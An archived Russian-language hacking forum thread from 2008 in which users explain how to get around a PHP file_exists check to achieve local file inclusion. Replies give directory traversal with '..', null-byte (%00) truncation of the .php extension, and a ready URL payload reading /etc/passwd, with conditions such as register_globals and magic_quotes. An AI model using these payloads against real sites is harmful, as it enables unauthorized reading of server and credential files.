PDA

Просмотр полной версии : Можно ли обойти такой "фильтр"?


n0mie
22.08.2008, 17:27
В коде сайта есть такая конструкция:

if (file_exists('folder/' . $USER['param1'] . '.php'))
{
require "folder/{$USER['param1']}.php";
}

соответственно $USER['param1'] я могу задать любой.

Возможно ли обойти ограничение и сделать
локальный инклуд, например, для "/file1.txt"?

А®ТеS
22.08.2008, 19:49
Выход ни директорию вверх можно сделать путем добавления в параметр ".." (без кавычек). Отрубить расширение php можно нулевым байтом (%00), что, впрочем, далеко не всегда проканывает. Ну, если идеальная ситуация, то так:
param1=../file.txt%00 (если параметр через GET запрос получает скрипт)
или, если в php коде, то:

$USER['param1'] = "../file.txt".chr(0);

zer0ska
23.08.2008, 13:51
да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00

Grey
23.08.2008, 23:29
да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00

Легко это если только мейджик квотс = офф, т.к. иначе это не прокатит.

P.S. вообще для вопросов есть спец тема и задавать вопросы нужно в ней, а не создавать новую тему.
P.P.S. закрыто.